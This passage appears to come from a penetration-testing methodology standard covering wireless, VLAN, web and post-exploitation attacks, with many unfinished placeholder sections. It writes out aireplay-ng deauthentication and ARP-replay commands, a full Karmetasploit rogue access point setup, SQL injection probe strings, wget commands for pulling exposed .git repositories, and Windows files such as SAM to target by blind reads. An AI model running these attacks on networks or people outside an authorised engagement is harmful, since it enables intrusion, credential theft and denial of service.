In a double tagging attack, an attacking host prepends two VLAN tags to packets that it transmits. The first header (which corresponds to the VLAN that the attacker is really a member of) is stripped off by a first switch the packet encounters, and the packet is then forwarded. The second, false, header is then visible to the second switch that the packet encounters. This false VLAN header indicates that the packet is destined for a host on a second, target VLAN. The packet is then sent to the target host as though it were layer 2 traffic. By this method, the attacking host can bypass layer 3 security measures that are used to logically isolate hosts from one another. The tool for attacking 802.1q is Yersinia.

Screenshot Here

VLAN Trunking Protocol (VTP)

VLAN Trunking Protocol (VTP) is a Cisco proprietary Layer 2 messaging protocol that manages the addition, deletion, and renaming of Virtual Local Area Networks (VLAN) on a network-wide basis. Cisco's VLAN Trunk Protocol reduces administration in a switched network. When a new VLAN is configured on one VTP server, the VLAN is distributed through all switches in the domain. This reduces the need to configure the same VLAN everywhere. To do this, VTP carries VLAN information to all the switches in a VTP domain. VTP advertisements can be sent over ISL, 802.1q, IEEE 802.10 and LANE trunks. VTP is available on most of the Cisco Catalyst Family products. The tool for attacking VTP is Yersinia.

Screenshot Here

9.4.3 RF Access

The goal of the earlier phases is to gather every possible piece of information about the Radio Frequencies in use that can be leveraged during this phase.

Unencrypted Wireless LAN

It is possible to actually connect to an unencrypted Wireless LAN (WLAN). To connect to an unencrypted WLAN, you simply have to either issue appropriate commands or use a GUI interface to connect.

Iwconfig (Linux)

The following commands to connect up to the ESSID. To ensure that the wireless interface is down, issue the following:

```
ifconfig <nowiki><</nowiki>interface<nowiki>></nowiki> down
```

Force dhclient to release any currently assigned DHCP addresses with the following command:

```
dhclient -r <nowiki><</nowiki>interface<nowiki>></nowiki>
```

Bring the interface back up with the following command:

```
ifconfig <nowiki><</nowiki>interface<nowiki>></nowiki> up
```

Iwconfig is similar to ifconfig, but is dedicated to the wireless interfaces. It is used to set the parameters of the network interface which are specific to the wireless operation. To assign set the ESSID (or Network Name to the wireless interface, use the following command:

```
iwconfig <nowiki><</nowiki>interface<nowiki>></nowiki> essid "ESSID_IN_QUOTES"
```

Next we need to set the operating mode of the device, which depends on the network topology. Setting this to *Managed* means that we are connecting to a network that is composed of access points.

```
iwconfig <nowiki><</nowiki>interface<nowiki>></nowiki> mode Managed
```

Use dhclient to obtain a DHCP addresses with the following command:

```
dhclient <nowiki><</nowiki>interface<nowiki>></nowiki>
```

At this point we should receive an IP address and be connected to the client's wireless network. Ensure that adequate screen shots are taken to definitively indicate the ability to connect, receive an IP address, and traverse the network.

Windows (XP/7)

Based upon the wireless network adapter installed, Windows will provide you with a mechanism to connect to wireless networks. The version of Windows utilized will dictate the process. For this reason we are covering Windows XP and 7.

Screenshot Here

Windows XP will show an icon with a notification that says it has found wireless networks.

Screenshot Here

Right-click the wireless network icon in the lower right corner of your screen, and then click "View Available Wireless Networks."

Screenshot Here

The Wireless Network Connection window appears and displays your wireless network listed with the SSID you chose. If you don't see your network, click Refresh network list in the upper left corner. Click your network, and then click Connect in the lower right corner.

Windows 7 offers the same ability to connect to wireless networks. On the right side of the taskbar, you will see a wireless network icon like the one below. Click on it.

Screenshot Here

A window with available network connections will open. As you can see from the screenshot below, the list is split by the type of available network connections. At the top you have dial-up and virtual private network (VPN) connections, while at the bottom you have a list of all the wireless networks which Windows 7 has detected. To refresh the list of available networks, click on the button highlighted in the screenshot below.

Screenshot Here

You can scroll down through the list of available networks. Once you decided on which network to connect to, click on it. Next, click on the *Connect* button.

Screenshot Here

If everything is OK, Windows 7 will connect to the network you selected using the given security key.

Attacking the Access Point

All identified access points are vulnerable to numerous attacks. For completeness, we've included some attack methods that may not be a part of all engagements. Ensure that the scoping is reviewed prior to initiating any attacks.

Denial of Service (DoS)

Within the standard, there are two packets that help in this regard, the *Clear To Send (CTS)* and *Request To Send (RTS)* packets. Devices use RTS packets when they have something big to send, and they don't want other devices to step on their transmission. CTS packets are sent so that the device knows it's okay to transmit. Every device (other than the one that sent the RTS) within the range of the CTS packet cannot transmit anything for the duration specified.

The first technique is to transmit the CTS packets, meaning that anyone in range of your signal will be unable to transmit. This requires a high-gain Omni-directional antenna to a much greater impact. The second technique is to send an RTS packet to the AP you are targeting. Once the AP gets the RTS packet, it will send the CTS. A highly directional antenna from a distance can be used to target the AP with an RTS packet. Generally speaking, transmitting the CTS has a greater impact.

Cracking Passwords

WPA-PSK/ WPA2-PSK

WPA-PSK is vulnerable to brute force attack. Tools like Aircrack and coWPAtty take advantage of this weakness and provided a way to test keys against dictionaries. The problem is that it's a very slow process. Precomputational attacks are limited as the BSSID and the BSSID length are seeded into the passphrase hash. This is why WPA-PSK attacks are generally limited due by time. There is no difference between cracking WPA or WPA2, the authentication is essentially the same.

The main requirement for any WPA/WPA2 is to capture the authentication handshake and then use Aircrack-ng to crack the pre-shared key. This can be done either actively or passively. "Actively" means you will accelerate the process by deauthenticating an existing wireless client. "Passively" means you simply wait for a wireless client to authenticate to the WPA/WPA2 network.

WPA/WPA2-Enterprise

In environments with a large number of users, such as corporations or universities, WPA/WPA2 pre-shared key management is not feasible. For example, it wouldn't be possible to track which users are connected and it would be impossible to revoke access to the network for individuals without changing the key for everyone. Therefore WPA2 Enterprise authenticates users against a user database (RADIUS). Two common methods to do that are WPA2-EAP-TTLS and WPA2-PEAP.

Attacks

LEAP

This stands for the Lightweight Extensible Authentication Protocol. This protocol is based on 802.1X and helps minimize the original security flaws by using WEP and a sophisticated key management system. This EAP-version is safer than EAP-MD5. This also uses MAC address authentication. LEAP is not safe against crackers. THC-LeapCracker can be used to break Cisco's version of LEAP and be used against computers connected to an access point in the form of a dictionary attack. Anwrap and asleap are other crackers capable of breaking LEAP.

Asleap

Asleap is a designed specifically to recover weak LEAP (Cisco's Lightweight Extensible Authentication Protocol) and PPTP passwords. Asleap performs Weak LEAP and PPTP password recovery from pcap and AiroPeek files or from live capture. Finally, it has the ability to deauthenticate clients on a leap WLAN (speeding up leap password recovery).

Screenshot Here

The first step involved in the use of asleap is to produce the necessary database (.dat) and index files (.idx) using genkeys from the supplied (-r) a dictionary (wordlist) file.

Screenshot Here

The final step in recovering the weak LEAP password is to run the asleap command with our newly created .dat and .idx files:

Screenshot Here

802.1X

802.1X is an IEEE Standard for port-based Network Access Control (PNAC). It is part of the IEEE 802.1 group of networking protocols. It provides an authentication mechanism to devices wishing to attach to a LAN or WLAN.

IEEE 802.1X defines the encapsulation of the Extensible Authentication Protocol (EAP) over IEEE 802 which is known as "EAP over LAN" or EAPOL. There are two main attacks which can be used against 802.1X:

Key Distribution Attack

The key distribution attack exploits a weakness in the RADIUS protocol. The key distribution attack relies on an attacker capturing the PMK transmission between the RADIUS server and the AP. As the PMK is transmitted outside of the TLS tunnel, its protection is solely reliant on the RADIUS server's HMAC-MD5 hashing algorithm. Should an attacker be able to leverage a man-in-the-middle attack between the AP and RADIUS sever, a brute-force attempt could be made to crack the RADIUS shared secret. This would ultimately provide the attacker with access to the PMK - allowing full decryption of all traffic between the AP and supplicant.

RADIUS Impersonation Attack

The RADIUS impersonation attack relies on users being left with the decision to trust or reject certificates from the authenticator. Attackers can exploit this deployment weakness by impersonating the target network's AP service set identifier (SSID) and RADIUS server. Once both the RADIUS server and AP have been impersonated the attacker can issue a 'fake' certificate to the authenticating user. After the certificate has been accepted by the user the client will proceed to authenticate via the inner authentication mechanism. This allows the attacker to capture the MSCHAPv2 challenge/response and attempt to crack it offline.

PEAP

The Protected Extensible Authentication Protocol (Protected EAP or PEAP) is a protocol that encapsulates the Extensible Authentication Protocol (EAP) within an encrypted and authenticated Transport Layer Security (TLS) tunnel. The purpose was to correct deficiencies in EAP; EAP assumed a protected communication channel, such as that provided by physical security, so facilities for protection of the EAP conversation were not provided.

RADIUS Impersonation Attack

The RADIUS impersonation attack relies on users being left with the decision to trust or reject certificates from the authenticator. Attackers can exploit this deployment weakness by impersonating the target network's AP service set identifier (SSID) and RADIUS server. Once both the RADIUS server and AP have been impersonated the attacker can issue a 'fake' certificate to the authenticating user. After the certificate has been accepted by the user the client will proceed to authenticate via the inner authentication mechanism. This allows the attacker to capture the MSCHAPv2 challenge/response and attempt to crack it offline.

Authentication Attack

The PEAP authentication attack is a primitive means of gaining unauthorized access to PEAP networks. By sniffing usernames from the initial (unprotected) PEAP identity exchange an attacker can attempt to authenticate to the target network by 'guessing' user passwords. This attack is often ineffective as the authenticator will silently ignores bad login attempts ensuring a several second delay exists between login attempts.

EAP-Fast

EAP-FAST (Flexible Authentication via Secure Tunneling) is Cisco's replacement for LEAP. The protocol was designed to address the weaknesses of LEAP while preserving the "lightweight" implementation. EAP-FAST uses a Protected Access Credential (PAC) to establish a TLS tunnel in which client credentials are verified. EAP-FAST provides better protection against dictionary attacks, but is vulnerable to MITM attacks. Since many implementations of EAP-FAST leave anonymous provisioning enabled, AP impersonation can reveal weak credential exchanges.

WEP/WPA/WPA2

The core process of connecting to a WEP encrypted network revolves around obtaining the WEP key for the purpose of connecting to the network. There are several tools that can be used to perform attacks against WEP.

Aircrack-ng

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools.

The first step is to place the wireless interface in monitor mode by entering:

```
airmon-ng start wlan0
```

Airmon-ng

Airmon-ng is used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the airmon-ng command without parameters will show the interfaces status.

To start wlan0 in monitor mode:

```
airmon-ng start wlan0
```

To start wlan0 in monitor mode on channel 8:

```
airmon-ng start wlan0 8
```

To stop wlan0:

```
airmon-ng stop wlan0
```

To check the status:

```
airmon-ng
```

Screenshot Here

Enter "iwconfig" to validate the wireless interfaces. The output should look similar to:

Screenshot Here

Airodump-ng

Airodump-ng is used for packet capturing of raw 802.11 frames and is particularly suitable for collecting WEP IVs (Initialization Vector) for the intent of using them with Aircrack-ng. If you have a GPS receiver connected to the computer, Airodump-ng is capable of logging the coordinates of the found access points.

Usage:

```
airodump-ng <nowiki><</nowiki>options<nowiki>></nowiki> <nowiki><</nowiki>interface
↪<nowiki>>[</nowiki>,<nowiki><</nowiki>interface<nowiki>></nowiki>,...<nowiki>]</
↪nowiki>

Options:

--ivs                : Save only captured IVs

--gpsd               : Use GPSd

--write    <nowiki><</nowiki>prefix<nowiki>></nowiki> : Dump file prefix

-w                   : same as --write

--beacons            : Record all beacons in dump file

--update     <nowiki><</nowiki>secs<nowiki>></nowiki> : Display update delay in␣
↪seconds

--showack            : Prints ack/cts/rts statistics

-h                   : Hides known stations for --showack

-f          <nowiki><</nowiki>msecs<nowiki>></nowiki> : Time in ms between hopping␣
↪channels

--berlin     <nowiki><</nowiki>secs<nowiki>></nowiki> : Time before removing the AP/
↪client

from the screen when no more packets

are received (Default: 120 seconds)

-r           <nowiki><</nowiki>file<nowiki>></nowiki> : Read packets from that file

-x          <nowiki><</nowiki>msecs<nowiki>></nowiki> : Active Scanning Simulation

--output-format

<nowiki><</nowiki>formats<nowiki>></nowiki> : Output format. Possible values:

pcap, ivs, csv, gps, kismet, netxml

Short format "-o"

The option can be specified multiple   times.  In this case, each file format␣
↪specified will be output.  Only ivs or pcap can be used, not both.
```

Screenshot Here

Screenshot Here

Aireplay-ng

Aireplay-ng is primarily used to generate or accelerate traffic for the later use with Aircrack-ng (for cracking WEP keys). Aireplay-ng supports various attacks such as deauthentication, fake authentication, Interactive packet replay, hand-crafted ARP request injection and ARP-request re injection. Usage:

```
aireplay-ng <nowiki><</nowiki>options<nowiki>></nowiki> <nowiki><</nowiki>replay␣
↪interface<nowiki>></nowiki>
```

These are the attack names and their corresponding "numbers":

- "'Attack 0: "'Deauthentication
- "'Attack 1: "'Fake authentication
- "'Attack 2: "'Interactive packet replay
- "'Attack 3: "'ARP request replay attack
- "'Attack 4: "'KoreK chopchop attack
- "'Attack 5: "'Fragmentation attack
- "'Attack 9: "'Injection test

Note: Not all options apply to all attacks.

Attack 0 - Deauthentication

A deauthentication attack sends disassociation packets to one or more clients who are currently associated with an AP. Disassociating clients can reveal a hidden / cloaked ESSID. Deauthentication attacks also provide an ability to capture WPA/WPA2 handshakes by forcing clients to re-authenticate.

```
aireplay-ng -0 1 -a 34:EF:44:BB:14:C1 -c 00:E0:4C:6D:27:8D wlan0
```

- -0 means deauthentication
- 1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously
- -a 34:EF:44:BB:14:C1 is the MAC address of the access point
- -c 00:E0:4C:6D:27:8D is the MAC address of the client to deauthenticate; if this is omitted then all clients are deauthenticated
- wlan0 is the interface name

Screenshot Here

Attack 1 - Fake authentication

The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) and to associate with an AP. This attack is useful in scenarios where there are no associated clients. Note that fake authentication attacks do not generate ARP packets.

```
aireplay-ng -1 0 -e 2WIRE696 -a 34:EF:44:BB:14:C1 -h 00:E0:4C:6D:27:8D wlan0
```

- -1 means fake authentication
- 0 reassociation timing in seconds
- -e 2WIRE696 is the wireless network name

- -a 34:EF:44:BB:14:C1 is the access point MAC address
- -h 00:E0:4C:6D:27:8D is our card MAC address
- wlan0 is the wireless interface name

Screenshot Here

Attack 3 - ARP Request Replay Attack

The classic ARP request replay attack is the most effective way to generate new initialization vectors. This attack is probably the most reliable of all. The program listens for an ARP packet then retransmits it back to the AP. This, in turn causes the AP to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the AP has a new IV. The collection of these IVs will later help us later in determining the WEP key.

```
aireplay-ng -3 -b 34:EF:44:BB:14:C1 -h 00:E0:4C:6D:27:8D wlan0
```

- -3 means standard arp request replay
- -b 34:EF:44:BB:14:C1 is the access point MAC address
- -h 00:E0:4C:6D:27:8D is the source MAC address (either an associated client or from fake authentication)
- wlan0 is the wireless interface name

Attack 4 - KoreK chopchop

The KoreK chopchop attack can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. *This attack does not recover the WEP key itself, it merely reveals the plaintext*. Some APs are not vulnerable to this attack. They may seem vulnerable at first but actually drop data packets shorter than 60 bytes. If the AP drops packets shorter than 42 bytes, Aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured Aireplay checks if the checksum of the header is correct after guessing its missing parts. Remember that this attack requires at least one WEP data packet.

```
aireplay-ng -4 -b 34:EF:44:BB:14:C1 -h 00:E0:4C:6D:27:8D wlan0
```

- -4 means the chopchop attack
- -b 34:EF:44:BB:14:C1 is the access point MAC address
- -h 00:E0:4C:6D:27:8D is the source MAC address (either an associated client or from fake authentication)
- wlan0 is the wireless interface name

Attack 5 - Fragmentation Attack

The fragmentation attack does not recover the WEP key itself, but (also) obtains the PRGA (pseudo random generation algorithm) of the packet. The PRGA can then be used to generate packets with Packetforge-ng which are in turn are used for various injection attacks. The attack requires at least one data packet to be received from the AP in order to initiate the attack. Basically, the program obtains a small amount of keying material from the packet then attempts to send ARP and/or LLC packets with known content to the AP. If the packet is successfully echoed back by the AP then a larger amount of keying information can be obtained from the returned packet. This cycle is repeated several times until 1500 bytes of PRGA are obtained (sometimes less than 1500 bytes).

```
aireplay-ng -5 -b 34:EF:44:BB:14:C1 -h 00:E0:4C:6D:27:8D wlan0
```

- -5 means run the fragmentation attack
- -b 34:EF:44:BB:14:C1 is the access point MAC address
- -h 00:E0:4C:6D:27:8D is the source MAC address (either an associated client or from fake authentication)
- wlan0 is the wireless interface name

Attack 9: Injection test

The injection test determines if your card can successfully inject wireless packets, and measures ping response times to APs. If you have two wireless cards connected, the test can also determine which specific injection attacks can be successfully executed. The basic injection test lists the APs in the area which respond to broadcast probes, and for each it performs a 30 packet test which measures the connection quality. This connection quality quantifies the ability of your card to successfully send and receive a response to the test target. The percentage of responses received gives a good indication of the link quality.

```
aireplay-ng -9 wlan0
```

Where:

- -9 - Injection test.
- wlan0 - the interface name

Screenshot Here

Aircrack-ng

Aircrack-ng is an 802.11 WEP and WPA/WPA2-PSK key cracking program. Aircrack-ng can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the Aircrack-ng suite determines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, and Weinmann). The default cracking method is PTW.

For cracking WPA/WPA2 pre-shared keys, only a dictionary method is used. SSE2 support is included to dramatically speed up WPA/WPA2 key processing. A "four-way handshake" is required as input. For WPA handshakes, a full handshake is composed of four packets. However, Aircrack-ng is able to work successfully with just 2 packets. EAPOL packets (2 and 3) or packets (3 and 4) are considered a full handshake.

9.4.4 Attacking the User

The Rules of Engagment (ROE) should be validated to ensure this is in-scope before conducting any attacks against the users

Karmetasploit Attacks

Karmetasploit is a modification of the KARMA to integrate it into Metasploit. Karmetasploit creates a working "evil" access point working that provides network services to an unsuspecting user. The services Karmetasploit provides include a DNS daemon that responds to all requests, a POP3 service, an IMAP4 service, a SMTP service, a FTP service, a couple of different SMB services, and a web service. All DNS lookups result in the IP address of the access point being returned, resulting in a blackhole effect for all email, web, and other network traffic.

To run Karmetasploit, use aireplay-ng to verify that injection is functioning:

```
# aireplay-ng --test [monitor-interface]
```

The output of aireplay-ng should indicate that injection is working and that one of the local access points could be reached. If every access point returns 0% and the message indicating injection is working is not there, you likely need to use a different/patched driver or a different wireless card.

The Metasploit Framework does not have a DHCP module, so a third-party DHCP service must be configured and installed. The easiest way to accomplish this is by installed the "dhcpd" package. On Backtrack 4 R2, the package is called "dhcpd3"or on Backtrack 5, the package is called "dhcp3-server".

```
apt-get install dhcp3-server
```

Once the DHCP server has been installed, an appropriate configuration file needs to be created. This file is normally called "dhcpd.conf" or "dhcpd3.conf" and resides in /etc, /etc/dhcp, or /etc/dhcp3. The example below uses the 10.0.0.0/24 network with the access point configured at 10.0.0.1.

```
default-lease-time 60;
max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.100 10.0.0.254;
  option routers 10.0.0.1;
  option domain-name-servers 10.0.0.1;
}
```

To run Karmetasploit, there are three things that need to happen. First, airbase-ng must be started and configured as a greedy wireless access point. The following example will beacon the ESSID of the target company, respond to all probe requests, and rebroadcast all probes as beacons for 30 seconds:

```
airbase-ng -P -C 30 -e "<COMPANY ESSID>" -v [monitor-interface]
```

Second, we need to configure the IP address of the at0 interface to match.

```
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
```

Third, the DHCP server needs to be started on the "at0" TUN/TAP interface created by airbase-ng:

```
dhcpd -cf /etc/dhcpd.conf at0
```

Finally, the Metasploit Framework itself needs to be configured. While its possible to configure each service by hand, its more efficient to use a resource file with the msfconsole interface. A sample resource file, configured to use 10.0.0.1 as the access point address, with nearly every feature enabled, can be downloaded here 2. To use this resource file, run msfconsole with the -r parameter. Keep in mind that msfconsole must be run as root for the capture services to function.

```
msfconsole -r karma.rc
```

Once the Metasploit Framework processes the commands in the resource file, the standard msfconsole shell will be available for commands. As clients connect to the access point and try to access the network, the service modules will do what they can to extract information from the client and exploit browser vulnerabilities.

DNS Requests

<Contribution Needed>

Bluetooth

<Contribution Needed>

Personalized Rogue AP

<Contribution Needed>

- DoS / Blackmail angle

Web

A web application involves a web server that accepts input and is most often interfaced using http(s). The penetration tester's goal is to discover any interaction points that can be manipulated to access information, functionality or services beyond the web applications intended use. Quite often a web application will comprise of tiers. The tiers are generally broken up into web, application, and data. These tiers can run on one or more servers, and any of the tiers may be load balanced across multiple servers. In the quest to find all the entry points, during the intelligence gathering and vulnerability analysis phase the penetration tester will utilize mostly GET and POST requests but should also test head, put, delete, trace, options, connect and patch. The objective is to map all input and output points. These are not limited to simply forms on a page, but include cookies, links, hidden forms, http parameters, etc. During the exploration particular attention should be given to sessions, cookies, error pages, http status codes, indirectly accessible pages, encryption usage and server configuration, dns and proxy cache usage. Ideally, this will be done using both automated and manual methods to discover potential ways to manipulate the web application parameters or logic. This is generally done using some form of client application (browser) and a proxy that can sit between the client application and the web application, and a tool to crawl (aka spider) through page links.

SQL Injection (SQLi)

According to OWASP (https://www.owasp.org/index.php/SQL_Injection) SQL Injection, or as it is more commonly known SQLi, consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

SQL (Structured Query Language) is an interpretted programming language for interfacing with a database. It is sometimes also lazily used to refer to the database management system. Applications utilize a database to store/retrieve and process information. The database is usually a relational database, where data is stored in one more tables, each table has values in one or more columns (data types/attributes) and rows (element/tuple). There are several implementations of SQL and each has their own commands and syntax. A few common commands are: select - retrieve data union - combine results of two or more selects insert - add new data update - modify existing data delete - delete data

What is injection? Simply stated, SQL injection exploits a vulnerability that allows data sent to an application to be interpreted and run as SQL commands.

According to OWASP (https://www.owasp.org/index.php/SQL_Injection) SQL Injection, also known as SQLi, consists of insertion or "injection" of a SQL query via the input data from the client to the application.

A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. SQL injection is typically discovered in the Vulnerability Analysis phase (and maybe hinted at in the intelligence gathering phase) of the engagement.

One possible way to test for sql injection is to enter a ' into input fields then compare the application response to a well formed request. If the web application is vulnerable to SQLi, a ' may return different results when the SQL

statement attempts to execute. Was an error message returned, different results, web page a different size, are different HTTP codes returned. Don't forget to look at the source, not just what is displayed in the browser. Depending on the reaction, it may be necessary to use other tests for injection, for example " or '; or) or '+"=' or %27%20or%201=1. It may also be necessary to encode the characters to bypass filters. If the access to the source code of the application is available, review for any variables where input can be manipulated as part of the application usage. In some cases this will be readily apparent, for instance php $sql = "SELECT * from [table] WHERE tuple = '$_GET("input"]'"; c# $sql = "SELECT * from [table] WHERE tuple = '" + request.getParameter("input") = """;

Several tools are available for the identification and exploitation of SQLi

Several tools are available for the identification and exploitation of SQLi. SQLi Tools

- Havij (http://itsecteam.com/en/projects/project1.htm)
- SQLmap (http://sqlmap.sourceforge.net)
- The Mole (http://sourceforge.net/projects/themole)
- Pangolin (http://nosec.org/en/productservice/pangolin)

XSS

<Contribution Needed>

CSRF

<Contribution Needed>

Ad-Hoc Networks

<Contribution Needed>

- Information Leakage

Detection bypass

<Contribution Needed>

- FW/WAF/IDS/IPS Evasion
- Human Evasion
- DLP Evasion

Resistance of Controls to attacks

<Contribution Needed>

Type of Attack

<Contribution Needed>

- Client Side
- Phishing (w/pretext)

- Service Side
- Out of band
- Post-Exploitation
- Infrastructure analysis

The Social-Engineer Toolkit

The Social-Engineering Toolkit (SET) is a python-driven suite of custom tools which solely focuses on attacking the human element of pentesting. It's main purpose is to augment and simulate social-engineering attacks and allow the tester to effectively test how a targeted attack may succeed. Currently SET has two main methods of attack, one is utilizing Metasploit payloads and Java-based attacks by setting up a malicious website (which you can clone whatever one you want) that ultimately delivers your payload. The second method is through file-format bugs and e-mail phishing. The second method supports your own open-mail relay, a customized sendmail open-relay, or Gmail integration to deliver your payloads through e-mail. The goal of SET is to bring awareness to the often forgotten attack vector of social-engineering. You can see detailed tutorials here or by downloading the user manual here.

9.4.5 VPN detection

VPN Hunter (http://www.vpnhunter.com) discovers and classifies SSL VPNs from top vendors including Juniper, Cisco, Palo Alto, Citrix, Fortinet, F5, SonicWALL, Barracuda, Microsoft, and Array. VPN Hunter will also attempt to detect whether two-factor authentication is enabled on the target SSL VPNs.

9.4.6 Route detection, including static routes

<Contribution Needed>

Network Protocols in use

<Contribution Needed>

Proxies in use

<Contribution Needed>

- Network Level
- Application Level

Network layout

<Contribution Needed>

- Mapping connectivity in/out of every segment
- Lateral connectivity

High value/profile targets

<Contribution Needed>

9.4.7 Pillaging

<Contribution Needed>

Video Cameras

<Contribution Needed>

Data Exfiltration

<Contribution Needed>

- identify web servers
- identify ftp servers
- DNS and ICMP tunnels
- VoIP channels
- Physical channels (printing, garbage disposal, courier)
- Fax (on multifunction printers)

Locating Shares

<Contribution Needed>

Audio Capture

<Contribution Needed>

- VoIP
- Microphone

High Value Files

<Contribution Needed>

Database Enumeration

<Contribution Needed>

- Checking for PPI
- card data
- passwords/user accounts

Wifi

<Contribution Needed>

- Steal wifi keys
- Add new Wifi entries with higher preference then setup AP to force connection
- Check ESSIDs to identify places visited

Source Code Repos

<Contribution Needed>

- SVN
- CVS
- MS Sourcesafe
- WebDAV

Git

Git is a distributed version control system (DVCS) and the meta directory (.git) contains all the necessary information to re-create the state of the repository at any given point in time.

Git is often used to deploy web applications and the .git meta directory is sometimes available to pillage.

Identify the repo

One quick way to find the repo is to look for the file http://example.com/.git/HEAD and see if it contains a match to ^ref: refs/ W3AF (http://w3af.sourceforge.net/) contains a discovery plugin named findGit.py that will assist in finding git repositories of web targets.

Note: the .git directory is not always present in the root, but sometimes in sub directories depending on how a part of the application is deployed. Something like http://example.com/blog/.git/

Cloning the repo

```
git clone http://example.com/
```

If an error like this is the result of the clone attempt then you have to resort to pillaging in different ways as the repo is not easily cloneable.

```
fatal: http://example.com/info/refs not found: did you run git update-server-info on␣
↪the server?
```

Check for directory browsing

If directory browsing is open for http://example.com/.git/objects then wget can be used to download the repo and then re-construct it.

Example:

```
wget -m --no-parent http://example.com/.git
cd example.com
git reset --hard
```

Other useful data

If both of these scenarios fail to get you the contents of the git repo there is still other information that may be of value. These files with predictable file names can contain very useful information and are detailed below.

- .git/index

"The index is a binary file (generally kept in .git/index) containing a sorted list of path names, each with permissions and the SHA1 of a blob object; git ls-files can show you the contents of the index:" (http://book.git-scm.com/7_the_git_index.html)

1. Platform details (.php, .cgi, etc)
2. Files that may contain configuration details (that are not rendered)
3. .old
4. .new
5. .bak
6. .tar.gz
7. .txt
8. Database dumps .sql

```
mkdir example.com
cd example.com
mkdir .git
wget get http://example.com/.git/index -O .git/index
git init .
git ls-files
```

- .git/config

Contains repo locations, usernames / email addresses, possibly other targets one could attack.

- .git/logs/HEAD

Contains commit messages if any editing and committing has been done on the server.

- .git/hooks/*

There are a number of files in the hooks directory that may contain sensitive information depending on the environment.

Identify custom apps

<Contribution Needed>

Backups

<Contribution Needed>

- Locally stored backup files
- Central backup server
- Remote backup solutions
- Tape storage

9.4.8 Business impact attacks

<Contribution Needed>

- What makes the biz money
- Steal It

9.4.9 Further penetration into infrastructure

<Contribution Needed>

- Botnets

Pivoting inside

Linux Commands

Show users that have used ssh to connect to this host.

Show users that have used sudo.

Show users with active cron use.

Look at a users password settings.

Users that have connected and from where.

Who is logged in right now and from where.

Pull IPv4 hosts from /etc/hosts, drop commented entries and localhost.

Pull commented IPv4 hosts from /etc/hosts

Pull IPv6 hosts from /etc/hosts

Pull hostnames from known_hosts files for any user home you have acess to read.

Show private keys and if they are encrypted

Look at the public keys and pull their type. Numerical types are SSH protocol 1.

< Contribution Needed >

- Windows Commands
- Token Stealing and Reuse
- Password Cracking
- Wifi connections to other devices
- Password Reuse
- Keyloggers
- User enumeration
- From Windows DC or from individual machines
- Linux passwd file
- MSSQL Windows Auth users

History and Logs

command	use
date	Display date and time
df	Display disk free space
iostat	Kernel I/O statistics
netstat	Network status and throughput
lsof	List of open files
ps	Process information
top	Display and update sorted process information
who	Display who is on the system Check ssh known hosts file Log files to see who connects to the server

Linux

.bash_history and other shell history files syslog

MySQL

- MySQL History
- syslog

Windows

- Event Logs
- Recent opened files
- Browsers
- Favorites
- stored passwords
- stored cookies
- browsing history
- browser cache files
- syslog

Cleanup

<Contribution Needed>

- Ensure documented steps of exploitation
- Ensure proper cleanup
- Remove Test Data
- Leave no trace
- Proper archiving and encryption of evidence to be handed back to customer
- Restore database from backup where necessary

9.4.10 Persistence

<Contribution Needed>

1. Autostart Malware
2. Reverse Connections
3. Rootkits
   - User Mode
   - Kernel Based
4. C&C medium (http, dns, tcp, icmp)
5. Backdoors
6. Implants
7. VPN with credentials

9.5 Post Exploitation

Post-exploitation activities are those that are conducted once a system as been compromised. These activities vary based upon the type of operating system. They can very from running simple "whoami" to enumerating local accounts.

9.5.1 Windows Post Exploitation

Blind Files

(Things to pull when all you can do is to blindly read) LFI/Directory traversal(s). Files that will have the same name across networks / Windows domains / systems.
{| ! align="left"| File ! Expected Contents / Description |- |`%SYSTEMDRIVE%\boot.ini` |A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening. |- |`%WINDIR%\win.ini` |This is another file to look for if boot.ini isn't there or coming back, which is some times the case. |- |`%SYSTEMROOT%\repair\SAM` `%SYSTEMROOT%\System32\config\RegBack\SAM` |It stores users' passwords in a hashed format (in LM hash and NTLM hash). |- |`%SYSTEMROOT%\repair\system` `%SYSTEMROOT%\System32\config\RegBack\system` | |}

Non Interactive Command Execution

System

Command	Expected Output or Description
	Lists your current user. Not present in all versions of Windows; however shall be present in Windows NT 6.0-6.1.
`whoami /all`	Lists current user, sid, groups current user is a member of and their sids as well as current privilege level.
`set`	Shows all current environmental variables. Specific ones to look for are USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA, and ALLUSERPROFILE.
`fsutil fsinfo drives`	Must be an administrator to run this, but it lists the current drives on the system.
`<nowiki>reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """"</nowiki>`	Locates insecurely registered executables within the system registry on Windows 7.

Networking (ipconfig, netstat, net)

align=left"|Command	Expected Output or Description
`ipconfig /all`	Displays the full information about your NIC's.
`ipconfig /displaydns`	Displays your local DNS cache.
`netstat -nabo`	
`<nowiki>netstat -s -p [tcp|udp|icpm|ip]</nowiki>`	
`netstat -r`	
`<nowiki>netstat -na | findstr :445</nowiki>`	
